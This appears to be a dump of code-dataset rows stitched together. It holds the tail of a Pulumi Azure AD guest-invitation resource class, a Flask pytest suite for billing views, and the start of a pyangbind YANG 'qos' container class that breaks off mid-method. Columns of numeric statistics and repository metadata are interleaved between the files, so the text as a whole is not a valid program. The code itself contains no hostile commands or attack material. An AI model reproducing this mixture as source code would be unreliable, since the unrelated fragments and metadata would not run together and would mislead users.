import pulumi
import pulumi_azuread as azuread
example = azuread.Invitation("example",
message=azuread.InvitationMessageArgs(
additional_recipients="aaliceberg@hashicorp.com",
body="Hello there! You are invited to join my Azure tenant!",
),
redirect_url="https://portal.azure.com",
user_display_name="Bob Bobson",
user_email_address="bbobson@hashicorp.com")
```
## Import
This resource does not support importing.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[pulumi.InputType['InvitationMessageArgs']] message: A `message` block as documented below, which configures the message being sent to the invited user. If this block is omitted, no message will be sent.
:param pulumi.Input[str] redirect_url: The URL that the user should be redirected to once the invitation is redeemed.
:param pulumi.Input[str] user_display_name: The display name of the user being invited.
:param pulumi.Input[str] user_email_address: The email address of the user being invited.
:param pulumi.Input[str] user_type: The user type of the user being invited. Must be one of `Guest` or `Member`. Only Global Administrators can invite users as members. Defaults to `Guest`.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: InvitationArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Manages an invitation of a guest user within Azure Active Directory.
## API Permissions
The following API permissions are required in order to use this resource.
When authenticated with a service principal, this resource requires one of the following application roles: `User.Invite.All`, `User.ReadWrite.All` or `Directory.ReadWrite.All`
When authenticated with a user principal, this resource requires one of the following directory roles: `Guest Inviter`, `User Administrator` or `Global Administrator`
## Example Usage
*Basic example*
```python
import pulumi
import pulumi_azuread as azuread
example = azuread.Invitation("example",
redirect_url="https://portal.azure.com",
user_email_address="jdoe@hashicorp.com")
```
*Invitation with standard message*
```python
import pulumi
import pulumi_azuread as azuread
example = azuread.Invitation("example",
message=azuread.InvitationMessageArgs(
language="en-US",
),
redirect_url="https://portal.azure.com",
user_email_address="jdoe@hashicorp.com")
```
*Invitation with custom message body and an additional recipient*
```python
import pulumi
import pulumi_azuread as azuread
example = azuread.Invitation("example",
message=azuread.InvitationMessageArgs(
additional_recipients="aaliceberg@hashicorp.com",
body="Hello there! You are invited to join my Azure tenant!",
),
redirect_url="https://portal.azure.com",
user_display_name="Bob Bobson",
user_email_address="bbobson@hashicorp.com")
```
## Import
This resource does not support importing.
:param str resource_name: The name of the resource.
:param InvitationArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(InvitationArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
message: Optional[pulumi.Input[pulumi.InputType['InvitationMessageArgs']]] = None,
redirect_url: Optional[pulumi.Input[str]] = None,
user_display_name: Optional[pulumi.Input[str]] = None,
user_email_address: Optional[pulumi.Input[str]] = None,
user_type: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = InvitationArgs.__new__(InvitationArgs)
__props__.__dict__["message"] = message
if redirect_url is None and not opts.urn:
raise TypeError("Missing required property 'redirect_url'")
__props__.__dict__["redirect_url"] = redirect_url
__props__.__dict__["user_display_name"] = user_display_name
if user_email_address is None and not opts.urn:
raise TypeError("Missing required property 'user_email_address'")
__props__.__dict__["user_email_address"] = user_email_address
__props__.__dict__["user_type"] = user_type
__props__.__dict__["redeem_url"] = None
__props__.__dict__["user_id"] = None
super(Invitation, __self__).__init__(
'azuread:index/invitation:Invitation',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
message: Optional[pulumi.Input[pulumi.InputType['InvitationMessageArgs']]] = None,
redeem_url: Optional[pulumi.Input[str]] = None,
redirect_url: Optional[pulumi.Input[str]] = None,
user_display_name: Optional[pulumi.Input[str]] = None,
user_email_address: Optional[pulumi.Input[str]] = None,
user_id: Optional[pulumi.Input[str]] = None,
user_type: Optional[pulumi.Input[str]] = None) -> 'Invitation':
"""
Get an existing Invitation resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[pulumi.InputType['InvitationMessageArgs']] message: A `message` block as documented below, which configures the message being sent to the invited user. If this block is omitted, no message will be sent.
:param pulumi.Input[str] redeem_url: The URL the user can use to redeem their invitation.
:param pulumi.Input[str] redirect_url: The URL that the user should be redirected to once the invitation is redeemed.
:param pulumi.Input[str] user_display_name: The display name of the user being invited.
:param pulumi.Input[str] user_email_address: The email address of the user being invited.
:param pulumi.Input[str] user_id: Object ID of the invited user.
:param pulumi.Input[str] user_type: The user type of the user being invited. Must be one of `Guest` or `Member`. Only Global Administrators can invite users as members. Defaults to `Guest`.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _InvitationState.__new__(_InvitationState)
__props__.__dict__["message"] = message
__props__.__dict__["redeem_url"] = redeem_url
__props__.__dict__["redirect_url"] = redirect_url
__props__.__dict__["user_display_name"] = user_display_name
__props__.__dict__["user_email_address"] = user_email_address
__props__.__dict__["user_id"] = user_id
__props__.__dict__["user_type"] = user_type
return Invitation(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def message(self) -> pulumi.Output[Optional['outputs.InvitationMessage']]:
"""
A `message` block as documented below, which configures the message being sent to the invited user. If this block is omitted, no message will be sent.
"""
return pulumi.get(self, "message")
@property
@pulumi.getter(name="redeemUrl")
def redeem_url(self) -> pulumi.Output[str]:
"""
The URL the user can use to redeem their invitation.
"""
return pulumi.get(self, "redeem_url")
@property
@pulumi.getter(name="redirectUrl")
def redirect_url(self) -> pulumi.Output[str]:
"""
The URL that the user should be redirected to once the invitation is redeemed.
"""
return pulumi.get(self, "redirect_url")
@property
@pulumi.getter(name="userDisplayName")
def user_display_name(self) -> pulumi.Output[Optional[str]]:
"""
The display name of the user being invited.
"""
return pulumi.get(self, "user_display_name")
@property
@pulumi.getter(name="userEmailAddress")
def user_email_address(self) -> pulumi.Output[str]:
"""
The email address of the user being invited.
"""
return pulumi.get(self, "user_email_address")
@property
@pulumi.getter(name="userId")
def user_id(self) -> pulumi.Output[str]:
"""
Object ID of the invited user.
"""
return pulumi.get(self, "user_id")
@property
@pulumi.getter(name="userType")
def user_type(self) -> pulumi.Output[Optional[str]]:
"""
The user type of the user being invited. Must be one of `Guest` or `Member`. Only Global Administrators can invite users as members. Defaults to `Guest`.
"""
return pulumi.get(self, "user_type")
| 43.199605
| 230
| 0.651997
| 2,641
| 21,859
| 5.184778
| 0.084059
| 0.06507
| 0.06748
| 0.061053
| 0.865041
| 0.848901
| 0.830936
| 0.813627
| 0.807931
| 0.790404
| 0
| 0.000061
| 0.252116
| 21,859
| 505
| 231
| 43.285149
| 0.837534
| 0.403221
| 0
| 0.6625
| 1
| 0
| 0.118524
| 0.021464
| 0
| 0
| 0
| 0
| 0
| 1
| 0.158333
| false
| 0.004167
| 0.029167
| 0
| 0.283333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b8f7159c7c08f11afba8a3ce8349d88cdc0f6cbd
| 9,973
|
py
|
Python
|
tests/billing/test_views.py
|
flaviogf/finance
|
86a74e1eea6b19d7fe8c311eb77394a267e26432
|
[
"MIT"
] | null | null | null |
tests/billing/test_views.py
|
flaviogf/finance
|
86a74e1eea6b19d7fe8c311eb77394a267e26432
|
[
"MIT"
] | null | null | null |
tests/billing/test_views.py
|
flaviogf/finance
|
86a74e1eea6b19d7fe8c311eb77394a267e26432
|
[
"MIT"
] | null | null | null |
from datetime import datetime
from app.models import Billing, User
class TestCreate:
def test_should_access_create_billing_return_status_200(self, client):
response = client.get('/billing/create')
assert 200 == response.status_code
def test_should_create_return_field_required_when_not_inform_title(self, client):
data = {
'title': '',
'description': 'Description billing one',
'value': 100.99,
'work_date': '2019-01-01 12:00:00'
}
response = client.post('/billing/create',
data=data,
follow_redirects=True)
assert b'This field is required' in response.data
def test_should_create_return_field_required_when_not_inform_description(self, client):
data = {
'title': 'Billing one',
'description': '',
'value': 100.99,
'work_date': '2019-01-01 12:00:00'
}
response = client.post('/billing/create',
data=data,
follow_redirects=True)
assert b'This field is required' in response.data
def test_should_create_return_field_required_when_not_inform_value(self, client):
data = {
'title': 'Billing one',
'description': 'Description billing one',
'value': None,
'work_date': '2019-01-01 12:00:00'
}
response = client.post('/billing/create',
data=data,
follow_redirects=True)
assert b'This field is required' in response.data
def test_should_create_return_min_number_zero_when_inform_number_lower_than_zero(self, client):
data = {
'title': 'Billing one',
'description': 'Description billing one',
'value': -1,
'work_date': '2019-01-01 12:00:00'
}
response = client.post('/billing/create',
data=data,
follow_redirects=True)
assert b'Number must be at least 0' in response.data
def test_should_create_return_field_required_when_not_inform_work_date(self, client):
data = {
'title': 'Billing one',
'description': 'Description billing one',
'value': 100.99,
'work_date': ''
}
response = client.post('/billing/create',
data=data,
follow_redirects=True)
assert b'This field is required' in response.data
def test_should_create_redirect_to_pagination_when_create_billing(self, client):
data = {
'title': 'Billing one',
'description': 'Description billing one',
'value': 100.99,
'work_date': '2019-01-01 12:00:00'
}
response = client.post('/billing/create',
data=data,
follow_redirects=True)
assert b'Finance - Search Billing' in response.data
def test_should_create_insert_billing_in_database(self, client):
data = {
'title': 'Billing one',
'description': 'Description billing one',
'value': 100.99,
'work_date': '2019-01-01 12:00:00'
}
response = client.post('/billing/create',
data=data,
follow_redirects=True)
assert 1 == Billing.query.count()
class TestPagination:
def test_should_access_billing_return_status_200(self, client):
response = client.get('/billing',
follow_redirects=True)
assert 200 == response.status_code
class TestUpdate:
def test_should_access_update_return_status_200_when_billing_exists(self, client, db):
billing = Billing(title=' Billing one',
description=' Description billing one',
value=100.99,
work_date=datetime.utcnow())
db.session.add(billing)
db.session.commit()
response = client.get('billing/1', follow_redirects=True)
assert 200 == response.status_code
def test_should_access_update_return_status_404_when_billing_not_exists(self, client):
response = client.get('billing/1', follow_redirects=True)
assert 404 == response.status_code
def test_should_update_billing_return_billing_updated_when_update_billing(self, client, db):
billing = Billing(title=' Billing one',
description=' Description billing one',
value=100.99,
work_date=datetime.utcnow())
db.session.add(billing)
db.session.commit()
data = {
'title': 'Updated',
'description': 'Updated',
'value': 99.99,
'work_date': '2019-10-10 10:10:10'
}
response = client.post('billing/1', data=data, follow_redirects=True)
assert b'Billing updated with successfully.' in response.data
class TestConfirmReceive:
def test_should_confirm_receive_redirect_to_billing_when_confirm_receive(self, client, db):
billing = Billing(title=' Billing one',
description=' Description billing one',
value=100.99,
work_date=datetime.utcnow())
db.session.add(billing)
db.session.commit()
response = client.get('/billing/1/confirm-receive',
follow_redirects=True)
assert b'Finance - Search Billing' in response.data
def test_should_confirm_receive_update_receive_date_in_database_when_confirm_receive(self, client, db):
billing = Billing(title=' Billing one',
description=' Description billing one',
value=100.99,
work_date=datetime.utcnow())
db.session.add(billing)
db.session.commit()
client.get('/billing/1/confirm-receive',
follow_redirects=True)
billing = Billing.query.first()
assert billing.receive_date
def test_should_confirm_receive_update_received_in_database_when_confirm_receive(self, client, db):
billing = Billing(title=' Billing one',
description=' Description billing one',
value=100.99,
work_date=datetime.utcnow())
db.session.add(billing)
db.session.commit()
client.get('/billing/1/confirm-receive',
follow_redirects=True)
billing = Billing.query.first()
assert billing.received
def test_should_confirm_receive_with_user_id_not_equals_current_user_id_return_status_forbidden(self, client, db):
billing = Billing(title=' Billing one',
description=' Description billing one',
value=100.99,
work_date=datetime.utcnow(),
user_id=1)
db.session.add(billing)
db.session.commit()
response = client.get('/billing/1/confirm-receive',
follow_redirects=True)
assert 403 == response.status_code
class TestCancelReceive:
def test_should_cancel_receive_redirect_to_billing_when_cancel_receive(self, client, db):
billing = Billing(title=' Billing one',
description=' Description billing one',
value=100.99,
work_date=datetime.utcnow(),
user_id=None)
billing.confirm_receive()
db.session.add(billing)
db.session.commit()
response = client.get('/billing/1/cancel-receive',
follow_redirects=True)
assert b'Finance - Search Billing' in response.data
def test_should_cancel_receive_update_received_data_in_database_when_cancel_receive(self, client, db):
billing = Billing(title=' Billing one',
description=' Description billing one',
value=100.99,
work_date=datetime.utcnow(),
user_id=None)
billing.confirm_receive()
db.session.add(billing)
db.session.commit()
client.get('/billing/1/cancel-receive',
follow_redirects=True)
billing = Billing.query.first()
assert not billing.receive_date
def test_should_cancel_receive_update_received_in_database_when_cancel_receive(self, client, db):
billing = Billing(title=' Billing one',
description=' Description billing one',
value=100.99,
work_date=datetime.utcnow(),
user_id=None)
billing.confirm_receive()
db.session.add(billing)
db.session.commit()
client.get('/billing/1/cancel-receive',
follow_redirects=True)
billing = Billing.query.first()
assert not billing.received
def test_should_cancel_receive_return_status_forbidden_when_billing_user_id_not_equals_current_user_id(self, client, db):
billing = Billing(title=' Billing one',
description=' Description billing one',
value=100.99,
work_date=datetime.utcnow(),
user_id=1)
billing.confirm_receive()
db.session.add(billing)
db.session.commit()
response = client.get('/billing/1/cancel-receive',
follow_redirects=True)
assert 403 == response.status_code
| 32.805921
| 125
| 0.566028
| 1,027
| 9,973
| 5.256086
| 0.093476
| 0.059281
| 0.048166
| 0.09485
| 0.871063
| 0.842164
| 0.819192
| 0.770285
| 0.750463
| 0.728788
| 0
| 0.034035
| 0.343026
| 9,973
| 303
| 126
| 32.914191
| 0.789835
| 0
| 0
| 0.739336
| 0
| 0
| 0.153314
| 0.020455
| 0
| 0
| 0
| 0
| 0.094787
| 1
| 0.094787
| false
| 0
| 0.009479
| 0
| 0.127962
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
77313758583e43307086d76b944a166295552430
| 22,968
|
py
|
Python
|
pybind/slxos/v17s_1_02/qos/__init__.py
|
extremenetworks/pybind
|
44c467e71b2b425be63867aba6e6fa28b2cfe7fb
|
[
"Apache-2.0"
] | null | null | null |
pybind/slxos/v17s_1_02/qos/__init__.py
|
extremenetworks/pybind
|
44c467e71b2b425be63867aba6e6fa28b2cfe7fb
|
[
"Apache-2.0"
] | null | null | null |
pybind/slxos/v17s_1_02/qos/__init__.py
|
extremenetworks/pybind
|
44c467e71b2b425be63867aba6e6fa28b2cfe7fb
|
[
"Apache-2.0"
] | 1
|
2021-11-05T22:15:42.000Z
|
2021-11-05T22:15:42.000Z
|
from operator import attrgetter
import pyangbind.lib.xpathhelper as xpathhelper
from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType
from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType
from pyangbind.lib.base import PybindBase
from decimal import Decimal
from bitarray import bitarray
import __builtin__
import map_
import red_profile
import tx_queue
import rx_queue
import cpu
import qos_cpu_queue
class qos(PybindBase):
"""
This class was auto-generated by the PythonClass plugin for PYANG
from YANG module brocade-qos-mls - based on the path /qos. Each member element of
the container is represented as a class variable - with a specific
YANG type.
"""
__slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__map_','__red_profile','__tx_queue','__rx_queue','__cpu','__qos_cpu_queue',)
_yang_name = 'qos'
_rest_name = 'qos'
_pybind_generated_by = 'container'
def __init__(self, *args, **kwargs):
path_helper_ = kwargs.pop("path_helper", None)
if path_helper_ is False:
self._path_helper = False
elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper):
self._path_helper = path_helper_
elif hasattr(self, "_parent"):
path_helper_ = getattr(self._parent, "_path_helper", False)
self._path_helper = path_helper_
else:
self._path_helper = False
extmethods = kwargs.pop("extmethods", None)
if extmethods is False:
self._extmethods = False
elif extmethods is not None and isinstance(extmethods, dict):
self._extmethods = extmethods
elif hasattr(self, "_parent"):
extmethods = getattr(self._parent, "_extmethods", None)
self._extmethods = extmethods
else:
self._extmethods = False
self.__red_profile = YANGDynClass(base=YANGListType("profile_id",red_profile.red_profile, yang_name="red-profile", rest_name="red-profile", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='profile-id', extensions={u'tailf-common': {u'info': u'Configure RED profiles', u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'sort-priority': u'RUNNCFG_LEVEL_SYSTEM_QOS', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-suppress-key-abbreviation': None, u'cli-incomplete-command': None, u'callpoint': u'qos_red_profile'}}), is_container='list', yang_name="red-profile", rest_name="red-profile", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure RED profiles', u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'sort-priority': u'RUNNCFG_LEVEL_SYSTEM_QOS', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-suppress-key-abbreviation': None, u'cli-incomplete-command': None, u'callpoint': u'qos_red_profile'}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='list', is_config=True)
self.__qos_cpu_queue = YANGDynClass(base=qos_cpu_queue.qos_cpu_queue, is_container='container', presence=False, yang_name="qos-cpu-queue", rest_name="", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-drop-node-name': None, u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-qos-cpu', defining_module='brocade-qos-cpu', yang_type='container', is_config=True)
self.__cpu = YANGDynClass(base=cpu.cpu, is_container='container', presence=False, yang_name="cpu", rest_name="cpu", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure CPU QoS'}}, namespace='urn:brocade.com:mgmt:brocade-qos-cpu', defining_module='brocade-qos-cpu', yang_type='container', is_config=True)
self.__tx_queue = YANGDynClass(base=tx_queue.tx_queue, is_container='container', presence=False, yang_name="tx-queue", rest_name="tx-queue", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Eegress Queue', u'callpoint': u'qos_transmit_queue', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='container', is_config=True)
self.__rx_queue = YANGDynClass(base=rx_queue.rx_queue, is_container='container', presence=False, yang_name="rx-queue", rest_name="rx-queue", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Ingress Queue', u'callpoint': u'qos_receive_queue', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='container', is_config=True)
self.__map_ = YANGDynClass(base=map_.map_, is_container='container', presence=False, yang_name="map", rest_name="map", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure QoS map', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='container', is_config=True)
load = kwargs.pop("load", None)
if args:
if len(args) > 1:
raise TypeError("cannot create a YANG container with >1 argument")
all_attr = True
for e in self._pyangbind_elements:
if not hasattr(args[0], e):
all_attr = False
break
if not all_attr:
raise ValueError("Supplied object did not have the correct attributes")
for e in self._pyangbind_elements:
nobj = getattr(args[0], e)
if nobj._changed() is False:
continue
setmethod = getattr(self, "_set_%s" % e)
if load is None:
setmethod(getattr(args[0], e))
else:
setmethod(getattr(args[0], e), load=load)
def _path(self):
if hasattr(self, "_parent"):
return self._parent._path()+[self._yang_name]
else:
return [u'qos']
def _rest_path(self):
if hasattr(self, "_parent"):
if self._rest_name:
return self._parent._rest_path()+[self._rest_name]
else:
return self._parent._rest_path()
else:
return [u'qos']
def _get_map_(self):
"""
Getter method for map_, mapped from YANG variable /qos/map (container)
"""
return self.__map_
def _set_map_(self, v, load=False):
"""
Setter method for map_, mapped from YANG variable /qos/map (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_map_ is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_map_() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=map_.map_, is_container='container', presence=False, yang_name="map", rest_name="map", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure QoS map', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """map_ must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=map_.map_, is_container='container', presence=False, yang_name="map", rest_name="map", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure QoS map', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='container', is_config=True)""",
})
self.__map_ = t
if hasattr(self, '_set'):
self._set()
def _unset_map_(self):
self.__map_ = YANGDynClass(base=map_.map_, is_container='container', presence=False, yang_name="map", rest_name="map", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure QoS map', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='container', is_config=True)
def _get_red_profile(self):
"""
Getter method for red_profile, mapped from YANG variable /qos/red_profile (list)
"""
return self.__red_profile
def _set_red_profile(self, v, load=False):
"""
Setter method for red_profile, mapped from YANG variable /qos/red_profile (list)
If this variable is read-only (config: false) in the
source YANG file, then _set_red_profile is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_red_profile() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=YANGListType("profile_id",red_profile.red_profile, yang_name="red-profile", rest_name="red-profile", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='profile-id', extensions={u'tailf-common': {u'info': u'Configure RED profiles', u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'sort-priority': u'RUNNCFG_LEVEL_SYSTEM_QOS', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-suppress-key-abbreviation': None, u'cli-incomplete-command': None, u'callpoint': u'qos_red_profile'}}), is_container='list', yang_name="red-profile", rest_name="red-profile", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure RED profiles', u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'sort-priority': u'RUNNCFG_LEVEL_SYSTEM_QOS', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-suppress-key-abbreviation': None, u'cli-incomplete-command': None, u'callpoint': u'qos_red_profile'}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='list', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """red_profile must be of a type compatible with list""",
'defined-type': "list",
'generated-type': """YANGDynClass(base=YANGListType("profile_id",red_profile.red_profile, yang_name="red-profile", rest_name="red-profile", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='profile-id', extensions={u'tailf-common': {u'info': u'Configure RED profiles', u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'sort-priority': u'RUNNCFG_LEVEL_SYSTEM_QOS', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-suppress-key-abbreviation': None, u'cli-incomplete-command': None, u'callpoint': u'qos_red_profile'}}), is_container='list', yang_name="red-profile", rest_name="red-profile", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure RED profiles', u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'sort-priority': u'RUNNCFG_LEVEL_SYSTEM_QOS', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-suppress-key-abbreviation': None, u'cli-incomplete-command': None, u'callpoint': u'qos_red_profile'}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='list', is_config=True)""",
})
self.__red_profile = t
if hasattr(self, '_set'):
self._set()
def _unset_red_profile(self):
self.__red_profile = YANGDynClass(base=YANGListType("profile_id",red_profile.red_profile, yang_name="red-profile", rest_name="red-profile", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='profile-id', extensions={u'tailf-common': {u'info': u'Configure RED profiles', u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'sort-priority': u'RUNNCFG_LEVEL_SYSTEM_QOS', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-suppress-key-abbreviation': None, u'cli-incomplete-command': None, u'callpoint': u'qos_red_profile'}}), is_container='list', yang_name="red-profile", rest_name="red-profile", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure RED profiles', u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'sort-priority': u'RUNNCFG_LEVEL_SYSTEM_QOS', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-suppress-key-abbreviation': None, u'cli-incomplete-command': None, u'callpoint': u'qos_red_profile'}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='list', is_config=True)
def _get_tx_queue(self):
"""
Getter method for tx_queue, mapped from YANG variable /qos/tx_queue (container)
"""
return self.__tx_queue
def _set_tx_queue(self, v, load=False):
"""
Setter method for tx_queue, mapped from YANG variable /qos/tx_queue (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_tx_queue is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_tx_queue() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=tx_queue.tx_queue, is_container='container', presence=False, yang_name="tx-queue", rest_name="tx-queue", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Eegress Queue', u'callpoint': u'qos_transmit_queue', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """tx_queue must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=tx_queue.tx_queue, is_container='container', presence=False, yang_name="tx-queue", rest_name="tx-queue", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Eegress Queue', u'callpoint': u'qos_transmit_queue', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='container', is_config=True)""",
})
self.__tx_queue = t
if hasattr(self, '_set'):
self._set()
def _unset_tx_queue(self):
self.__tx_queue = YANGDynClass(base=tx_queue.tx_queue, is_container='container', presence=False, yang_name="tx-queue", rest_name="tx-queue", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Eegress Queue', u'callpoint': u'qos_transmit_queue', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='container', is_config=True)
def _get_rx_queue(self):
"""
Getter method for rx_queue, mapped from YANG variable /qos/rx_queue (container)
"""
return self.__rx_queue
def _set_rx_queue(self, v, load=False):
"""
Setter method for rx_queue, mapped from YANG variable /qos/rx_queue (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_rx_queue is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_rx_queue() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=rx_queue.rx_queue, is_container='container', presence=False, yang_name="rx-queue", rest_name="rx-queue", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Ingress Queue', u'callpoint': u'qos_receive_queue', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """rx_queue must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=rx_queue.rx_queue, is_container='container', presence=False, yang_name="rx-queue", rest_name="rx-queue", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Ingress Queue', u'callpoint': u'qos_receive_queue', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-qos-mls', defining_module='brocade-qos-mls', yang_type='container', is_config=True)""",
})
self.__rx_queue = t
if hasattr(self, '_set'):
self._set()
def _unset_rx_queue(self):
